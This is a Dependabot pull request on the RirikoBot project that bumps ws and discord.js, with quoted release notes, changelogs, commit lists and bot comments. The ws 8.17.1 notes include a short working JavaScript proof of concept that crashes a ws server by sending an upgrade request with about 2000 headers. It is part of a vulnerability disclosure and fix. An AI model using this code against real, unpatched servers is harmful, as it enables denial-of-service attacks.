RirikoBot Bump ws and discord.js

Bumps ws to 8.17.1 and updates ancestor dependency discord.js. These dependencies need to be updated together.

Updates ws from 8.14.2 to 8.17.1

Release notes

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

3c56601 [dist] 8.17.1
e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
6a00029 [test] Increase code coverage
ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
b73b118 [dist] 8.17.0
29694a5 [test] Use the highWaterMark variable
934c9d6 [ci] Test on node 22
1817bac [ci] Do not test on node 21
96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
Additional commits viewable in compare view

Updates discord.js from 14.14.1 to 14.15.3

Release notes

Sourced from discord.js's releases.

14.15.3

Bug Fixes

Message: Properly compare attachments and embeds (#10282) (a468ae8)

Throw error on no message id for Message#fetchReference() (#10295) (638b896)

ThreadChannel: Invalid owner fetch option (#10292) (27d0659)

Action: Ensure all properties on getChannel() are passed (#10278) (92c1a51)

docs: Some link tags didn't resolve correctly (#10269) (914cc4b)

actions: Handle missing poll object (#10266) (7816ec2)

Refactor

GuildChannelManager: Improve addFollower errors (#10277) (555961b)

Typings

Forum starter messages do not support polls (#10276) (35207b0)

Add defaultValues to respective select menu components data (#10265) (c2432d5)

14.15.2

Bug Fixes

PollAnswer: FetchVoters route changed to MessageManager (#10251) (30d79e8)

14.15.1

Bug Fixes

MessageManager: Poll methods don't need a channel id (#10249) (0474a43)

14.15.0

Bug Fixes

Message: Not crosspostable if has a poll (#10246) (a6b9f1b)

actions: Always emit message create for own messages (#10211) (798f28c)

Embed: Address equals method issue (#10152) (ddc927f)

types: Export ReadonlyCollection (#10184) (6cc5fa2)

Anchor link for events (0efd1be)

resolveColor: Address case for numbers (#10115) (3755e66)

Invert deletable message types list (#10093) (42bc5d2)

BaseClient: Fall back to userAgentAppendix (#10113) (b16647e)

InteractionResponses: Check if ephemeral message flag is used (#10021) (62e31cb)

Replace internal calls to Emoji#url (#10025) (941642a)

Export "ESM" types when discord.js is imported in ESM land (#10009) (e412a22)

website: Discord-api-types links, URL links and some minor doc issues (#9990) (57c414b)

website: Cross package deprecated links (#9981) (802ec63)

Minify mainlib docs json (#9963) (4b88306)

website: Misc improvements (#9940) (b79351b)

Documentation

... (truncated)

Changelog

Sourced from discord.js's changelog.

14.15.3 - (2024-06-02)

Bug Fixes

Message: Properly compare attachments and embeds (#10282) (a468ae8)

Throw error on no message id for Message#fetchReference() (#10295) (638b896)

ThreadChannel: Invalid owner fetch option (#10292) (27d0659)

Action: Ensure all properties on getChannel() are passed (#10278) (92c1a51)

docs: Some link tags didn't resolve correctly (#10269) (914cc4b)

actions: Handle missing poll object (#10266) (7816ec2)

Refactor

GuildChannelManager: Improve addFollower errors (#10277) (555961b)

Typings

Forum starter messages do not support polls (#10276) (35207b0)

Add defaultValues to respective select menu components data (#10265) (c2432d5)

14.15.2 - (2024-05-05)

Bug Fixes

PollAnswer: FetchVoters route changed to MessageManager (#10251) (30d79e8)

14.15.1 - (2024-05-04)

Bug Fixes

MessageManager: Poll methods don't need a channel id (#10249) (0474a43)

14.15.0 - (2024-05-04)

Bug Fixes

Message: Not crosspostable if has a poll (#10246) (a6b9f1b)

actions: Always emit message create for own messages (#10211) (798f28c)

Embed: Address equals method issue (#10152) (ddc927f)

types: Export ReadonlyCollection (#10184) (6cc5fa2)

Anchor link for events (0efd1be)

resolveColor: Address case for numbers (#10115) (3755e66)

Invert deletable message types list (#10093) (42bc5d2)

BaseClient: Fall back to userAgentAppendix (#10113) (b16647e)

InteractionResponses: Check if ephemeral message flag is used (#10021) (62e31cb)

Replace internal calls to Emoji#url (#10025) (941642a)

Export "ESM" types when discord.js is imported in ESM land (#10009) (e412a22)

website: Discord-api-types links, URL links and some minor doc issues (#9990) (57c414b)

website: Cross package deprecated links (#9981) (802ec63)

Minify mainlib docs json (#9963) (4b88306)

... (truncated)

Commits

311aaf2 chore(release): @discordjs/builders 1.8.2, @discordjs/ws 1.1.1, and discord.j...
a468ae8 fix(Message): properly compare attachments and embeds (#10282)
638b896 fix: Throw error on no message id for Message#fetchReference() (#10295)
27d0659 fix(ThreadChannel): invalid owner fetch option (#10292)
555961b refactor(GuildChannelManager): improve addFollower errors (#10277)
92c1a51 fix(Action): Ensure all properties on getChannel() are passed (#10278)
35207b0 types: Forum starter messages do not support polls (#10276)
c2432d5 types: Add defaultValues to respective select menu components data (#10265)
914cc4b fix(docs): some link tags didn't resolve correctly (#10269)
7816ec2 fix(actions): Handle missing poll object (#10266)
Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR
@dependabot recreate will recreate this PR, overwriting any edits that have been made to it
@dependabot merge will merge this PR after your CI passes on it
@dependabot squash and merge will squash and merge this PR after your CI passes on it
@dependabot cancel merge will cancel a previously requested merge and block automerging
@dependabot reopen will reopen this PR if it is closed
@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
@dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the Security Alerts page.

Jun 18 '24 20:06 dependabot[bot]

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
ririko-bot	❌ Failed (Inspect)			Jun 18, 2024 8:52pm

Jun 18 '24 20:06 vercel[bot]

Code Climate has analyzed commit 7fcf3384 and detected 0 issues on this pull request.

View more on Code Climate.

Jun 18 '24 20:06 qlty-cloud-legacy[bot]

@dependabot rebase

Sep 02 '24 22:09 earnestangel

Superseded by #398.

Sep 02 '24 22:09 dependabot[bot]